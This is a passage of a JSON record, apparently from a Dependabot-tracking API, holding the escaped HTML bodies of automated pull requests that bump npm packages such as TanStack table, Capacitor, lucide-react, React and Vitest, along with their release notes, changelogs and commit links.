href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-devtools\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-table\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6609\"\u003e#6609\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e - Update TanStack Store dependencies to the latest compatible patch releases.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/table/blob/main/packages/react-table/CHANGELOG.md\"\u003e@​tanstack/react-table's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.3.1\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6631\"\u003e#6631\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e - Refresh the \u003ccode\u003eAppTable\u003c/code\u003e context when the \u003ccode\u003euseAppTable\u003c/code\u003e owner renders with new options or state, so \u003ccode\u003euseTableContext()\u003c/code\u003e consumers no longer show stale rows after \u003ccode\u003edata\u003c/code\u003e is replaced under a cached (React Compiler, \u003ccode\u003euseMemo\u003c/code\u003e, \u003ccode\u003ememo\u003c/code\u003e) \u003ccode\u003eAppTable\u003c/code\u003e element.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/2d5f5b65a98350949ac9ce7397a29ee9bbe2fd5e\"\u003e\u003ccode\u003e2d5f5b6\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/table/commit/87c6bcc52a5cd614d83d698c76048b4c1c2bb8f7\"\u003e\u003ccode\u003e87c6bcc\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.3.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.8\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/f1c3409bb4aae6c07ebb1cb0a0723372ed64223e\"\u003e\u003ccode\u003ef1c3409\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.6\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6611\"\u003e#6611\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e - Refactor bundled Intent skills into smaller entry points with references loaded for the current task. Keep core feature architecture and shared state directly discoverable, and move individual features, adapter compositions, and detailed migration guidance into references.\u003c/p\u003e\n\u003cp\u003eConsumers with individual skill permissions or explicit agent mappings must replace retired feature/composition IDs with their owning entry points and refresh Intent mappings. See the Agent Skills guide for the replacement paths.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e9.2.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/table/pull/6609\"\u003e#6609\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e - Update TanStack Store dependencies to the latest compatible patch releases.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/table-core\u003c/code\u003e\u003ca href=\"https://github.com/9\"\u003e\u003ccode\u003e@​9\u003c/code\u003e\u003c/a\u003e.2.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/95c4768496c07b45b1e65d8e33c3291ac66eae9b\"\u003e\u003ccode\u003e95c4768\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6632\"\u003e#6632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/3d3648f788310465e135c09fd3f803ef25a92c18\"\u003e\u003ccode\u003e3d3648f\u003c/code\u003e\u003c/a\u003e fix(react-table, preact-table): refresh AppTable context under cached element...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/d8ae30bcfe8665ef43d7557f4a492e0caa6f9c40\"\u003e\u003ccode\u003ed8ae30b\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6625\"\u003e#6625\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/2df4cf3673dc67fb903e5459ffa28ecfa15d88d4\"\u003e\u003ccode\u003e2df4cf3\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6612\"\u003e#6612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/b9b007fa038328a795d1f3b5e8f80cea8a55a3b4\"\u003e\u003ccode\u003eb9b007f\u003c/code\u003e\u003c/a\u003e fix(skills): Add progressive disclosure to bundled skills (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6611\"\u003e#6611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/1257a3f9dd0e2127f11222075d03e026594b44ec\"\u003e\u003ccode\u003e1257a3f\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6610\"\u003e#6610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/e9158e7be837525ab99abd78550266d7cdcc58b2\"\u003e\u003ccode\u003ee9158e7\u003c/code\u003e\u003c/a\u003e chore: package upgrades (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6609\"\u003e#6609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/table/commit/0bdf588f98e9c2655a8b68947a7aadde4c3893b7\"\u003e\u003ccode\u003e0bdf588\u003c/code\u003e\u003c/a\u003e chore: package upgrades (\u003ca href=\"https://github.com/TanStack/table/tree/HEAD/packages/react-table/issues/6592\"\u003e#6592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/table/commits/@tanstack/react-table@9.3.1/packages/react-table\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-virtual` from 3.14.13 to 3.14.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/releases\"\u003e@​tanstack/react-virtual's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.21\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/05bb4d3e75359442e7a650f1814bd496e382bc3d\"\u003e\u003ccode\u003e05bb4d3\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.19.6\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.20\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003c...\n\n_Description has been truncated_","html_url":"https://github.com/sinhong2011/TraderMemos/pull/360","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/sinhong2011%2FTraderMemos/issues/360","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/360/packages"}},{"old_version":"5.0.3","new_version":"5.0.5","update_type":"patch","path":null,"pr_created_at":"2026-10-24T15:34:23.000Z","version_change":"5.0.3 → 5.0.5","issue":{"uuid":"6014594976","node_id":"PR_kwDOVCVdjc8AAAABKdPlcQ","number":4,"state":"open","title":"chore(deps): bump the npm group with 13 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-24T15:34:23.000Z","updated_at":"2026-10-24T15:34:32.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm","update_count":13,"packages":[{"name":"@capacitor/android","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@capacitor/core","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@capacitor/filesystem","old_version":"8.1.4","new_version":"8.1.5","repository_url":"https://github.com/ionic-team/capacitor-filesystem"},{"name":"lucide-react","old_version":"1.49.0","new_version":"1.61.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.3.0","new_version":"19.3.1","repository_url":"https://github.com/react/react"},{"name":"@capacitor/cli","old_version":"8.5.2","new_version":"8.5.3","repository_url":"https://github.com/ionic-team/capacitor"},{"name":"@tauri-apps/cli","old_version":"2.12.3","new_version":"2.12.4","repository_url":"https://github.com/tauri-apps/tauri"},{"name":"@types/node","old_version":"26.6.3","new_version":"26.6.5","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"@vitest/coverage-v8","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"jsdom","old_version":"30.1.1","new_version":"30.1.3","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.29","new_version":"8.5.31","repository_url":"https://github.com/postcss/postcss"},{"name":"vitest","old_version":"5.0.3","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm group with 13 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@capacitor/android](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@capacitor/core](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@capacitor/filesystem](https://github.com/ionic-team/capacitor-filesystem) | `8.1.4` | `8.1.5` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.49.0` | `1.61.0` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.3.0` | `19.3.1` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.3.0` | `19.3.1` |\n| [@capacitor/cli](https://github.com/ionic-team/capacitor) | `8.5.2` | `8.5.3` |\n| [@tauri-apps/cli](https://github.com/tauri-apps/tauri) | `2.12.3` | `2.12.4` |\n| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `26.6.3` | `26.6.5` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.3` | `5.0.5` |\n| [jsdom](https://github.com/jsdom/jsdom) | `30.1.1` | `30.1.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.29` | `8.5.31` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.3` | `5.0.5` |\n\nUpdates `@capacitor/android` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/android's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/android's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/core` from 8.5.2 to 8.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/releases\"\u003e@​capacitor/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor/blob/main/CHANGELOG.md\"\u003e@​capacitor/core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003e8.5.3\u003c/a\u003e (2026-10-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e145560e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/06e3e1984337f836a4c28b2afc92faa977dea315\"\u003e\u003ccode\u003e06e3e19\u003c/code\u003e\u003c/a\u003e Release 8.5.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/ba285693bf2afd76b350bf79a32afc7db5e67b37\"\u003e\u003ccode\u003eba28569\u003c/code\u003e\u003c/a\u003e chore: add .build/ folder to gitignore (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8640\"\u003e#8640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor/commit/145560ee590d86637dc9dd2e2c9f4c08b0f631c0\"\u003e\u003ccode\u003e145560e\u003c/code\u003e\u003c/a\u003e fix(cli): change Cordova AppDelegate.h imports for SPM (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor/issues/8618\"\u003e#8618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor/compare/8.5.2...8.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@capacitor/filesystem` from 8.1.4 to 8.1.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/releases\"\u003e@​capacitor/filesystem's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.1.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003e8.1.5\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eios:\u003c/strong\u003e writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-0006 (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/94\"\u003e#94\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e71aaad1\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/90\"\u003e#90\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/@capacitor/filesystem/v/8.1.5\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/blob/main/CHANGELOG.md\"\u003e@​capacitor/filesystem's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003e8.1.5\u003c/a\u003e (2026-10-15)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eios:\u003c/strong\u003e writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-0006 (\u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/94\"\u003e#94\u003c/a\u003e) (\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e71aaad1\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/ionic-team/capacitor-filesystem/issues/90\"\u003e#90\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/757d7cd309f5dbee872198efc875554ed9681f4b\"\u003e\u003ccode\u003e757d7cd\u003c/code\u003e\u003c/a\u003e chore(release): 8.1.5 [skip ci]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/commit/71aaad1e2b8353b2565e015a97c86b20fbb67c25\"\u003e\u003ccode\u003e71aaad1\u003c/code\u003e\u003c/a\u003e fix(ios): writeFile/stat in Directory.Temporary failing with OS-PLUG-FILE-000...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ionic-team/capacitor-filesystem/compare/v8.1.4...v8.1.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.49.0 to 1.61.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.61.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ecircle-chevrons-down\u003c/code\u003e, \u003ccode\u003ecircle-chevrons-left\u003c/code\u003e, \u003ccode\u003ecircle-chevrons-right\u003c/code\u003e and 1 more icons by \u003ca href=\"https://github.com/ypotti\"\u003e\u003ccode\u003e@​ypotti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5025\"\u003elucide-icons/lucide#5025\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ypotti\"\u003e\u003ccode\u003e@​ypotti\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/5025\"\u003elucide-icons/lucide#5025\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.60.0...1.61.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.60.0...1.61.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eVersion 1.60.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003etombstone\u003c/code\u003e icon by \u003ca href=\"https://github.com/ryck\"\u003e\u003ccode\u003e@​ryck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4929\"\u003elucide-icons/lucide#4929\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003esmartphone-user-round\u003c/code\u003e icon by \u003ca href=\"https://github.com/hitanshu-machhi\"\u003e\u003ccode\u003e@​hitanshu-machhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4586\"\u003elucide-icons/lucide#4586\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003ebacon\u003c/code\u003e icon by \u003ca href=\"https://github.com/devkamani9313-lab\"\u003e\u003ccode\u003e@​devkamani9313-lab\u003c/code\u003e\u003c/a\u003e in \u003ca 